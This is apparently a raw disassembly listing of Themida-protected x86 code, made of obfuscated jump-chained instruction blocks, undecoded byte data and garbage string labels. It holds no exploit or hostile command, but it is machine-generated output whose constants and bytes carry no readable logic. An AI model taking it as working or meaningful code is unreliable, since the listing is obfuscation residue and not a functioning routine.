; ---------------------------------------------------------------------------


loc_564052:				; CODE XREF: Themida_:00560B9Dj
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_56D652
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 0D781E904h, 895C0000h, 0B6E9241Ch
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564073:				; CODE XREF: Themida_:0056E627j
		xor	esi, 620562D4h
		mov	ebx, esi
		pop	esi
		push	edx
		jmp	loc_568280
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E6BCE924h, 0EA81FFFFh, 998EAC97h, 148BD501h, 4C48324h
		dd 9F61E9h, 30EF8100h, 1308E44h, 30BE56C7h, 1308E44h, 2434FFF7h
		dd 4C4835Eh, 2B85058h, 0E9000000h, 2024h, 507BF581h, 0E8316FA8h
		dd 83242C8Bh, 0E95604C4h, 1D0Ch, 4240483h, 6A0E9h, 0B9C28100h
		dd 810002C7h, 0C412C0EBh, 0E9D30153h, 0AE8Dh, 0FFA9DCE9h
		dd 0F2895BFFh, 0BFEF815Eh, 149E626h, 4EC83D7h, 0E9242C89h
		dd 9FCBh, 0DE92F581h, 0EE29322Dh, 70F2E9h, 240C8B00h, 5204C483h
		dd 2900C3BAh, 11E28159h, 81343619h, 0A6100CEAh,	0CDC2815Dh
		dd 2989C353h, 0E9525AD0h, 0FFFFD85Ah, 5CE7F581h, 0F5810509h
		dd 3EA2C254h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_564923
; ---------------------------------------------------------------------------
		dd 4EC8140h, 89000000h,	0D0E9243Ch, 81000027h, 4C5h, 0DC29E900h
		dd 74FF0000h, 6DE90424h, 5F000039h, 0C381CB01h,	152A0B4Eh
		dd 83240C8Bh, 0FF5304C4h, 8B042474h, 0C483241Ch, 1FD6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5641A6:				; CODE XREF: Themida_:0056E286j
		mov	eax, 1C667DA1h
		push	edi
		mov	edi, eax
		jmp	loc_562E03
; ---------------------------------------------------------------------------
		db 52h
		dd 0BF62D1BAh, 0A66DBB24h, 0D331F5E7h, 62EB815Ah, 0E9034D13h
		dd 0FFFFFB37h, 214A8BBEh, 0BDF68169h, 816C1A67h, 4B3BE1EEh
		dd 7AD5E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5641E2:				; CODE XREF: Themida_:0056978Aj
		add	esi, 4
		jmp	loc_561A81
; ---------------------------------------------------------------------------
aIiS		db '‰ë]é;~',0
		dd 241C8900h, 0AF5A6ABBh, 5BD93107h, 5E28E9h
		db 0
; ---------------------------------------------------------------------------


loc_564205:				; CODE XREF: Themida_:00570EBEj
		pop	esi
		jmp	loc_56C318
; ---------------------------------------------------------------------------
aXs4v		db 'Xé4v',0
		db 0
; ---------------------------------------------------------------------------


loc_564211:				; CODE XREF: Themida_:00567790j
		push	4537h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56F72C
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 0CE8AE95Ch, 805CFFFFh, 5166B1C3h,	0B48FE9h
		dd 24148700h, 242C895Ch, 5D73E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56424A:				; CODE XREF: Themida_:0056AD09j
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0EC81F781h, 0FB89E550h, 611DE9h
		db 0
; ---------------------------------------------------------------------------


loc_56425D:				; CODE XREF: Themida_:00570DF7j
		add	ebx, 0C122EBFBh
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_56E98D
; ---------------------------------------------------------------------------
		db 0B8h, 17h, 4Bh
aXnwht		db ')-)ÆXNWh’$',0
		align 10h
		dd 0E9243489h, 0FFFFC3AEh
; ---------------------------------------------------------------------------


loc_564288:				; CODE XREF: Themida_:0056BFA3j
		mov	ebp, esi
		jmp	loc_56AAA2
; ---------------------------------------------------------------------------
		db 89h
		dd 19682404h, 0FF009E49h, 1AE92434h, 5A000024h,	4272FC05h
		dd 2DC80112h, 124272FCh, 4BE5659h, 29000000h, 0E9505EF0h
		dd 0D0ACh, 0E907EFC1h, 7199h, 7C3D68h, 240C8900h, 7B4952B9h
		dd 94C9813Ch, 81042E74h, 0A5CF1F1h, 23F18100h, 13C7521h
		dd 240C8BCEh, 5104C483h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56F4FC
; ---------------------------------------------------------------------------
		db 68h
		dd 5EFCh, 53241489h, 0B20FF3BBh, 1A6DBA24h, 0DA314F0Bh
		dd 2454315Bh, 0E95D5A04h, 61EFh
; ---------------------------------------------------------------------------


loc_564324:				; CODE XREF: Themida_:0056B084j
		or	ebx, 7E9F76BCh
		jmp	loc_5707B2
; ---------------------------------------------------------------------------
		db 68h
		dd 3708h, 56241C89h, 0C681E689h, 4, 0FFF419E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564345:				; CODE XREF: Themida_:00571EF8j
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_568B52
; ---------------------------------------------------------------------------


loc_564359:				; CODE XREF: Themida_:00571766j
		std
		push	ebx
		push	4CC20B46h
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 18E2CBDh
		jmp	loc_566A68
; ---------------------------------------------------------------------------
		db 5Bh,	29h, 0F0h
aOtss		db '-´\oTéS·',0
		align 2


loc_564382:				; CODE XREF: Themida_:00568424j
		mov	ecx, 6728078Fh
		add	ecx, 19241868h
		add	ecx, 58F6C53h
		jmp	loc_56F11A
; ---------------------------------------------------------------------------
		dd 5C243C87h, 4C781h, 0BE560000h, 2, 348BF701h,	0C949E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5643B2:				; CODE XREF: Themida_:0056C27Cj
		add	esi, edi
		pop	edi
		add	esi, ebx
		push	ebx
		jmp	loc_5676A2
; ---------------------------------------------------------------------------
		db 66h,	31h, 1Ch
		dd 1C336624h, 1C316624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 0FBE6D24h
		push	eax
		mov	eax, 5B455087h
		or	edi, eax
		jmp	loc_56FE80
; ---------------------------------------------------------------------------


loc_5643E5:				; CODE XREF: Themida_:00565F3Cj
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_569ED0
; ---------------------------------------------------------------------------
		dd 5F2414F7h, 0C681FE87h, 375914C4h, 0FFB337E9h, 9EBE56FFh
		dd 813B4E40h, 4ECh, 24348900h, 0FFFFB850h, 4429FFFFh, 0A8E90424h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56442B:				; CODE XREF: Themida_:00561410j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57203E
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F7h
		dd 9B648BAFh, 555FFB01h, 4BDh, 5DEB0100h, 31241C33h, 1C33241Ch
		dd 24248B24h, 0EE8AE9h,	65BE5600h, 0E93D1C2Eh, 0FFFFBF48h
		dd 7DA8C981h, 50E97390h, 870000E5h, 815C240Ch, 4ECh, 242C8900h
		dd 75DE68h, 240C8900h, 6B0E6856h, 0B6E9432Eh
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564497:				; CODE XREF: Themida_:00571C13j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_56975C
; ---------------------------------------------------------------------------
		dd 81D6F74Eh, 0AC2F23C6h, 7EBDE939h, 0EB300000h, 240C8B66h
		dd 402C483h, 66D8282Fh,	282FB353h, 5B5B66D8h, 67E9C330h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5644D7:				; CODE XREF: Themida_:00563506j
		add	eax, ecx
		pop	ecx
		xor	eax, 0EABBF8Fh
		add	eax, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 0
		jmp	loc_56C1F8
; ---------------------------------------------------------------------------


loc_564507:				; CODE XREF: Themida_:0055F3A9j
		pop	ebp
		not	ecx
		jmp	loc_56E779
; ---------------------------------------------------------------------------
		db 1
		dd 0C1505F8h, 3C8B577Fh, 4C48124h, 83000000h, 48704E8h
		dd 2C895C24h, 55C46824h, 0E95D6F76h, 0FFFFF728h, 8704C183h
		dd 575C240Ch, 250437BFh, 5FFE2163h, 6804E6C1h, 2FD0h, 0BA241489h
		dd 5C1500DBh, 815AD631h, 4B42E8C3h, 842AE97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564562:				; CODE XREF: Themida_:00571953j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 51C327D8h
		not	ebp
		jmp	loc_57127F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 63B9240Ch, 8906C537h, 2C41E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56458A:				; CODE XREF: Themida_:0055EC91j
		mov	ch, bl
		pop	ebx
		jmp	loc_568CBF
; ---------------------------------------------------------------------------
aTxrsk		db 'TXRéªê',0
		align 2


loc_56459A:				; CODE XREF: Themida_:0056801Aj
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_571F60
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8AE9240Ch, 89FFFFF9h, 58542404h, 0FFD125E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5645D1:				; CODE XREF: Themida_:00572B80j
		push	esi
		mov	esi, 4
		jmp	loc_5721D1
; ---------------------------------------------------------------------------
		dd 5C243433h, 4C481h, 3FE90000h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5645EB:				; CODE XREF: Themida_:00570269j
		mov	[esp], ebx
		push	60FBh
		mov	[esp], ecx
		mov	ecx, 0F342298h
		sub	dword ptr [esp+4], 3BA10545h
		add	[esp+4], ecx
		jmp	loc_56883F
; ---------------------------------------------------------------------------
		dd 8304502Ch, 0E951D828h, 0CE88h, 0FFEEE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56461E:				; CODE XREF: Themida_:00573575j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	4850h
		mov	[esp], ebx
		jmp	loc_56B99C
; ---------------------------------------------------------------------------
		db 81h
		dd 22B65BEDh, 0DE30E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564646:				; CODE XREF: Themida_:0056F07Aj
		push	dword ptr [esp]
		jmp	loc_571476
; ---------------------------------------------------------------------------


loc_56464E:				; CODE XREF: Themida_:0056B206j
		or	esi, 0DD85678h
		or	esi, 22A2422Bh
		shr	esi, 2
		inc	esi
		xor	esi, 827D512h
		jmp	loc_570617
; ---------------------------------------------------------------------------
aFFysog		db '±ä ÏfY鎃',0
		align 4
		dd 84B7F381h, 1CE9F2A3h, 81FFFFF4h, 4C4h, 24048B00h, 4C481h
		dd 2C330000h, 0D0F8E924h, 0E5BFFFFFh, 0F726722Ah, 0E9D7F7D7h
		dd 134Eh, 3704F181h, 0D1F703B0h, 0E715F181h, 0CE89D436h
		dd 83240C8Bh, 0EE8104C4h, 0D436F278h, 5C25EB81h, 0C5E927BDh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5646CB:				; CODE XREF: Themida_:00561B35j
		push	edx
		push	esp
		pop	edx
		jmp	loc_566772
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F68104EEh, 70152590h, 0BAE9DEF7h, 5500007Bh, 0C46CE9h
		dd 0DDC78100h, 0E9045E30h, 0FFFFE759h
; ---------------------------------------------------------------------------


loc_5646F4:				; CODE XREF: Themida_:005658C4j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_56055A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 39FCE9h, 50E66800h, 815B48B6h, 0B650E2F3h, 6D4EE948h
		dd 0EA880000h, 4D9E9h, 0E0895000h, 405h, 4BD5500h, 0E9000000h
		dd 8D64h, 0EC81565Eh, 4, 8B241489h, 0C4812434h,	4, 89F18951h
		dd 0FF59404Fh, 34FF2434h, 27E95E24h, 58000095h,	3C8BFA29h
		dd 4C48324h, 148BD029h,	6A2FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56476E:				; CODE XREF: Themida_:0056B96Cj
		pop	ebp
		xor	ebp, 0AA49FBE0h
		or	eax, ebp
		pop	ebp
		jmp	loc_56A726
; ---------------------------------------------------------------------------
aRs8		db ']Ré8ß',0
		align 4
		dd 5259C801h, 2BAh, 64EE2D00h, 0D0014D81h, 8164EE05h, 24148B4Dh
		dd 815E5456h, 4C6h, 0BCD9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647AA:				; CODE XREF: Themida_:005724D1j
		push	7764h
		mov	[esp], eax
		push	esi
		push	43A17C49h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56F351
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2F664006h, 8B5EF001h, 22E92414h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5647D3:				; CODE XREF: Themida_:005686BDj
		xor	eax, edx
		pop	edx
		push	edx
		jmp	loc_56E285
; ---------------------------------------------------------------------------


loc_5647DC:				; CODE XREF: Themida_:005615E9j
		mov	eax, esi
		pop	esi
		jmp	loc_56D9B6
; ---------------------------------------------------------------------------


loc_5647E4:				; CODE XREF: Themida_:00569F37j
		mov	[esp], ecx
		push	ax
		push	ecx
		jmp	loc_569FAA
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0AA0FE955h, 575FFFFFh, 0C84CE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647FE:				; CODE XREF: Themida_:00570A5Bj
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56BC10
; ---------------------------------------------------------------------------
		db 89h
		dd 2FBB241Ch, 50FCDF51h, 435A2BB8h, 8BC60112h, 0C4832404h
		dd 68DE2904h, 5F69h, 0BD242C89h, 431D7A88h, 517DF581h
		dd 0E58173CBh, 39CB6C40h, 0B4E0E9h, 6F1BA00h, 0CA817D9Bh
		dd 43AA1231h, 74BEE9h, 241C8700h, 0F724248Bh, 7AAB68E1h
		dd 27E90000h, 0FFFFFFB9h, 89E92434h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56487F:				; CODE XREF: Themida_:0056F283j
		mov	[esp], ecx
		mov	ch, al
		jmp	loc_55FCEF
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 8704C683h, 91E92434h, 81000071h, 4C1h, 1AE95300h, 52FFFFF5h
		dd 0B05754BAh, 24448167h, 4A5CCF04h, 2454015Ch,	246C8104h
		dd 4A5CCF04h, 24148B5Ch, 6804C483h, 3895h, 0BA241489h
		dd 3A4F4215h, 4245401h,	0B02CE9h, 81E95700h, 8900003Ch
		dd 4C181E1h, 83000000h,	348904ECh, 669EBE24h, 0BA521E44h
		dd 360B682Fh, 0C15AD609h, 0CE8104EEh, 260E650Ch, 0EE81D6F7h
		dd 1, 0F7F5C681h, 0F10127EEh, 74FF515Eh, 8F590424h, 2E92404h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_564923:				; CODE XREF: Themida_:0056415Fj
		mov	[esp], edi
		mov	edi, ebp
		mov	eax, edi
		jmp	loc_565F23
; ---------------------------------------------------------------------------
		db 81h
		dd 7CEE67EEh, 8BF189E8h, 0C4832434h, 3BEB8104h,	816CB016h
		dd 773266C3h, 81CB0161h, 773266EBh, 3BC38161h, 0E96CB016h
		dd 2EE5h, 89E88950h, 575D58C6h,	27D9BE56h, 0F7893082h
		dd 0FFED6EE9h, 0D6F75EFFh, 62E9F287h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56497B:				; CODE XREF: Themida_:00562A1Fj
		push	ecx
		push	58CFh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_56A337
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 51000000h,	0E615E9h, 2474FF00h, 48F5B04h
		dd 0E44BE924h, 0E95CFFFFh, 4680h, 0A6E9CD01h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5649BF:				; CODE XREF: Themida_:0056E85Ej
		xchg	esi, [esp]
		jmp	loc_56CB38
; ---------------------------------------------------------------------------
		align 4
		dd 0B60F5AD3h, 87048FC0h, 0FFA0FCE9h, 8CB951FFh, 895D5855h
		dd 0ED8159CDh, 0DE9BF595h, 815DE801h, 4ECh, 240C8900h
		dd 0FFBEA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5649F5:				; CODE XREF: Themida_:005658FCj
		xchg	ebp, [esp]
		jmp	loc_570171
; ---------------------------------------------------------------------------
aZsZ		db 'Zé~z',0
		dw 0FF00h
		dd 34FF2434h, 2434FF24h, 582434FFh, 4EC8157h, 0E9000000h
		dd 0FFFFE646h
; ---------------------------------------------------------------------------


loc_564A1C:				; CODE XREF: Themida_:00566A13j
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
aZISs		db '‡<$\‰,$ééê',0
		dd 38478800h, 0FFCEA7E9h, 34335AFFh, 24343124h,	2F66E9h
		dd 0AE95E00h, 29000067h, 0A0DBE9D9h, 1C870000h,	89575C24h
		dd 666468E7h, 1C890000h, 0B8505724h, 42551C9Ch,	48BC789h
		dd 4C48324h, 0EA32E468h, 0FB315B2Ah, 83243C8Bh,	0E94304C4h
		dd 0FFFFAC04h
; ---------------------------------------------------------------------------


loc_564A80:				; CODE XREF: Themida_:0056FEC4j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	eax, 1357B32h
		sub	eax, ebx
		push	edx
		jmp	loc_5708F4
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 7D6717F9h, 3563E9h, 14895C00h, 0B2BF5724h, 833AD842h
		dd 0E7C1FFC7h, 43826802h, 0C890000h, 0F3BCE924h, 0D7F70000h
		dd 3217C781h, 0F8E97844h, 8B00004Ah, 8951240Ch,	0AADAE9E1h
		dd 1C87FFFFh, 24248B24h, 0E816E9h, 24048900h, 0FF9FECE9h
		dd 46D6F7FFh, 31B4E681h, 814645AFh, 9A6B57CEh, 0F7FE8739h
		dd 81FE87D7h, 6291FDC6h, 5EF0017Ch, 8158C601h, 7C7EC9EEh
		dd 5EF189C3h, 172C581h,	0CD016A2Eh, 0E694E9h, 8E2C100h
		dd 4A02EAC1h, 5ED4EA81h, 0D00118D7h, 45BD2D5Ah,	83590E22h
		dd 48704C0h, 24248B24h,	0FFECEAE9h, 0BABB53FFh,	0F768AE40h
		dd 0E506E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B4E:				; CODE XREF: Themida_:0055FBFFj
		mov	edi, 1
		jmp	loc_561353
; ---------------------------------------------------------------------------
		dd 52241C89h, 53662DB2h, 0FA0093B7h, 0D3885B66h, 89F3805Ah
		dd 4EC81h, 14890000h, 0BDCFE924h, 565B0000h, 0DBCB9BEh
		dd 5EF3313Ch, 1C8BDF29h, 0E3895324h, 0FFEDCCE9h, 48B5BFFh
		dd 0DC82E924h, 0F5800000h, 59E828C9h, 0DC04D828h, 5336B551h
		dd 0D5E94DB7h, 87000084h, 0C5E9240Ch
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564BB7:				; CODE XREF: Themida_:00568D4Dj
		add	esp, 4
		add	esi, 4
		jmp	loc_5651C2
; ---------------------------------------------------------------------------


loc_564BC2:				; CODE XREF: Themida_:005623E0j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C80A
; ---------------------------------------------------------------------------
aCShq		db 'Áæ',8,'éhQ',0
		dd 7C2E6800h, 34FF4E45h, 243C8B24h, 8104C483h, 4C4h, 1711E900h
		dd 0C0590000h, 0DAF603EAh, 0E9B5B551h, 6481h, 68665A66h
		dd 89663623h, 63B7241Ch, 56E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_564C19:				; CODE XREF: Themida_:0055FD2Bj
		pop	eax
		jmp	loc_5731A7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 8B545700h, 0C483243Ch,	0E9575004h, 4F6Eh, 8B24048Fh
		dd 0D3662424h, 0E99C2424h, 0FFFF9E8Dh, 0BD55E689h, 0A8C3267h
		dd 597BBB53h, 0EB8130B1h, 0FD752149h, 0F75BDD01h, 0C1D5F7DDh
		dd 0ED8105E5h, 0B90D52FCh, 3A8AEE81h, 0EE010D62h, 3A8AC681h
		dd 515D0D62h, 0C261E9h,	2414F700h, 6CBF5759h
		db 46h,	5Bh, 0Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7B690FF0h
		xor	edi, ebx
		pop	ebx
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, 52F05E36h
		add	edi, ecx
		push	ebx
		mov	ebx, 604E508Ah
		inc	ebx
		neg	ebx
		xor	ebx, 44854BBDh
		jmp	loc_56AA1D
; ---------------------------------------------------------------------------


loc_564CC9:				; CODE XREF: Themida_:0056F24Fj
		sub	edx, 0B2D8D3D5h
		add	ebp, edx
		pop	edx
		shl	ebp, 3
		push	edi
		mov	edi, 2F5C7172h
		dec	edi
		jmp	loc_56CE4F
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 6846E9h
		db 0
; ---------------------------------------------------------------------------


loc_564CED:				; CODE XREF: Themida_:00570538j
		pop	dword ptr [esp]
		pop	esp
		push	2316h
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 22F450F8h
		not	ebx
		sub	ebx, 299D356Ch
		add	ebx, 38CF0DE5h
		xor	ebx, 57934DACh
		add	ebx, 445135D8h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_567705
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56CC5F
; ---------------------------------------------------------------------------


loc_564D3A:				; CODE XREF: Themida_:00567439j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 0E5FF3086h
		xor	edi, edx
		pop	edx
		jmp	loc_5623E5
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
a3Ssl		db '3<$éá«',0
		align 4
		dd 8924248Bh, 0A068241Ch, 0E9000050h, 20AFh, 0E953D486h
		dd 0A1A1h, 0E959EB88h, 2BA5h, 0F1159DBAh, 0EDEB815Ah, 0E957635Dh
		dd 0BA9Ah
; ---------------------------------------------------------------------------


loc_564D8C:				; CODE XREF: Themida_:005613ABj
		shl	ah, 4
		add	ah, 0FFh
		neg	ah
		sub	ah, 36h
		push	edx
		mov	dl, ah
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_560E48
; ---------------------------------------------------------------------------


loc_564DA8:				; CODE XREF: Themida_:005681B3j
		mov	edx, ebx
		jmp	loc_5668E6
; ---------------------------------------------------------------------------
		db 68h
		dd 29BBh, 52242C89h, 0C281E289h, 4, 39F4BF57h, 0D7F73BA5h
		dd 690FE947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564DCE:				; CODE XREF: Themida_:00561C41j
		not	edi
		push	esi
		push	edi
		pop	esi
		pop	edi
		jmp	loc_571C92
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4BEh, 0FCACE900h, 0C483FFFFh, 1E95604h, 0FFFFFFA6h
		dd 535D2434h, 0D098E9h,	4EB85000h, 0F76EE532h, 4B9340D0h
		dd 32530593h, 0C2016EE5h, 4EA8358h, 0FFF428E9h,	48B66FFh
		dd 62E06824h, 14890000h, 148B5424h, 0A628E924h,	0B1BBFFFFh
		dd 8113EF2Fh, 910473EBh, 5BD829ECh, 3E05D001h, 83275E2Bh
		dd 0C8904ECh, 7B31B924h, 0F1874FFCh, 84C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_564E51:				; CODE XREF: Themida_:0056DD74j
		mov	ebx, ebp
		pop	ebp
		push	0
		add	dword ptr [esp], 4D2034BCh
		jmp	loc_57070C
; ---------------------------------------------------------------------------


loc_564E65:				; CODE XREF: Themida_:0056039Bj
		mov	ecx, [esp]
		jmp	loc_571B7F
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0FEh
		dd 81721C59h, 0A169FEE2h, 61F2811Ah, 0E9663401h, 1963h
		dd 4C4835Ah, 2C381h, 1C870000h,	24248B24h, 0A1EFE9h, 0E9565E00h
		dd 0FFFF9DF6h, 8D2CF828h, 8B66112Ch, 0C483241Ch, 49686602h
		dd 0C896672h, 0EF26E924h, 285AFFFFh, 45C380C3h,	0C0B60F58h
		dd 0BBF6866h, 0FFB016E9h, 24048FFFh, 4EC81h, 4890000h
		dd 4B824h, 44810000h, 0CA40424h, 0CEE91AD0h, 80FFFFC9h
		dd 0D42870C4h, 6670EC80h, 5624148Bh, 0C681E689h, 4, 2C681h
		dd 34870000h, 0EC805C24h, 0D2C48083h, 97E9E208h, 83FFFFA4h
		dd 895004C4h, 0A1B951E0h, 0C16BDF1Dh, 814108E9h, 6BDF1AF1h
		dd 59C80100h, 585F68h, 242C8900h, 57B7B850h, 32E914EFh
		dd 83FFFF9Ch, 0C48104C4h, 4, 10D2E9h, 0C6E58100h, 95123D39h
		dd 3964E9h
		db 0
; ---------------------------------------------------------------------------


loc_564F5D:				; CODE XREF: Themida_:00565F1Ej
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_571DD7
; ---------------------------------------------------------------------------
		dd 5C240487h, 81240C8Bh, 4ECh, 24148900h, 0FFA2FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F7D:				; CODE XREF: Themida_:0057126Cj
		shr	ecx, 7
		push	ebx
		jmp	loc_5634C7
; ---------------------------------------------------------------------------


loc_564F86:				; CODE XREF: Themida_:0055F31Ej
		or	ecx, 0E4259C5h
		not	ecx
		or	ecx, 44AA2EECh
		neg	ecx
		xor	ecx, 1C8B6DA0h
		mov	edx, ecx
		pop	ecx
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_567ADE
; ---------------------------------------------------------------------------
aS@		db '\éß@',0
		dw 4300h
		dd 389AEB81h, 0EB816C32h, 6AE91E31h, 0DB9AEB81h, 0DA891B9Ch
		dd 0FF9C20E9h, 4C681FFh, 0E97A7831h, 6368h, 0EF81DF87h
		dd 1, 52EBB53h,	0E3D14CBBh, 0FD29F381h,	0DF293483h, 0E9F8895Bh
		dd 7DDh
; ---------------------------------------------------------------------------


loc_564FF8:				; CODE XREF: Themida_:0056995Aj
		sub	eax, 0D560E3EDh
		add	ebx, eax
		pop	eax
		sub	edx, ebx
		pop	ebx
		add	edx, 1CE24E76h
		jmp	loc_56E793
; ---------------------------------------------------------------------------
a_sr		db '_éR',7,0
		align 4


loc_565014:				; CODE XREF: Themida_:00572142j
		mov	ecx, 47F32C45h
		sub	ecx, ebx
		jmp	loc_56869C
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFFBCE1h
; ---------------------------------------------------------------------------


loc_565028:				; CODE XREF: Themida_:0056C0EDj
		mov	edi, 9DE6383h
		shl	edi, 8
		shl	edi, 3
		or	edi, 11790691h
		jmp	loc_573B79
; ---------------------------------------------------------------------------


loc_56503E:				; CODE XREF: Themida_:005711A4j
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	6B0Dh
		mov	[esp], edi
		push	4F46h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56C1BB
; ---------------------------------------------------------------------------
aBVckspk	db 'Å\vcKéK',0
		dd 0C2815A00h, 4, 4BB53h, 0DA010000h, 2414875Bh, 0A3E9555Ch
		dd 58000051h, 405h, 4C08300h, 5C240487h, 0E99CC885h, 0FFFF9A2Dh
		dd 0E9DE015Ah, 5546h, 6E6C05Bh,	59B15166h, 5966CE30h, 0FFA0DEE9h
		dd 80E200FFh, 0F658B5C2h, 5AB551D2h, 8059EA30h,	0F2803DEAh
		dd 8BD32875h, 0F0E92414h, 810000D2h, 272F42C5h,	0F3ED815Eh
		dd 89D61086h, 5A7E9EFh,	2D400000h, 0CB8526B0h, 42E9C289h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5650FB:				; CODE XREF: Themida_:00565D12j
		add	eax, 65D77DB5h
		neg	eax
		add	eax, 369537B2h
		add	edi, eax
		jmp	loc_565B48
; ---------------------------------------------------------------------------
		dw 0B368h
